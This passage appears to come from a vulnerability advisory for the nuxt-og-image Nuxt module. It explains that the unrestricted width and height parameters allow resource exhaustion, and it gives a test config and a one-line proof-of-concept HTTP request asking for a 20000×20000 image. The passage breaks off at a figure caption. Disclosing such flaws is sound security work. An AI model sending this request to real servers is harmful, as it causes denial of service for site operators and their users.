The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates.\n\n_Listing 1. The content of the configuration file `nuxt.config.ts`_ \n```\nexport default defineNuxtConfig({\n  modules: ['nuxt-og-image'],\n  devServer: {\n    host: 'web-test.local',\n    port: 3000\n  },\n  site: {\n    url: 'http://web-test.local:3000',\n  },\n  ogImage: {\n    fonts: [\n      'Inter:400', \n      'Inter:700'\n    ],\n  }\n})\n```\n\n## Vulnerability reproduction\nTo demonstrate the proof‑of‑concept, a request should be sent with the increased `width` and `height` parameters. This will cause a delay and exhaust the server’s resources during image generation.\n\n_Listing 2. HTTP-request example_\n```\nGET /_og/d/og.png?width=20000&height=20000 HTTP/1.1\nHost: web-test.local:3000\n```\n\n_Figure 1.
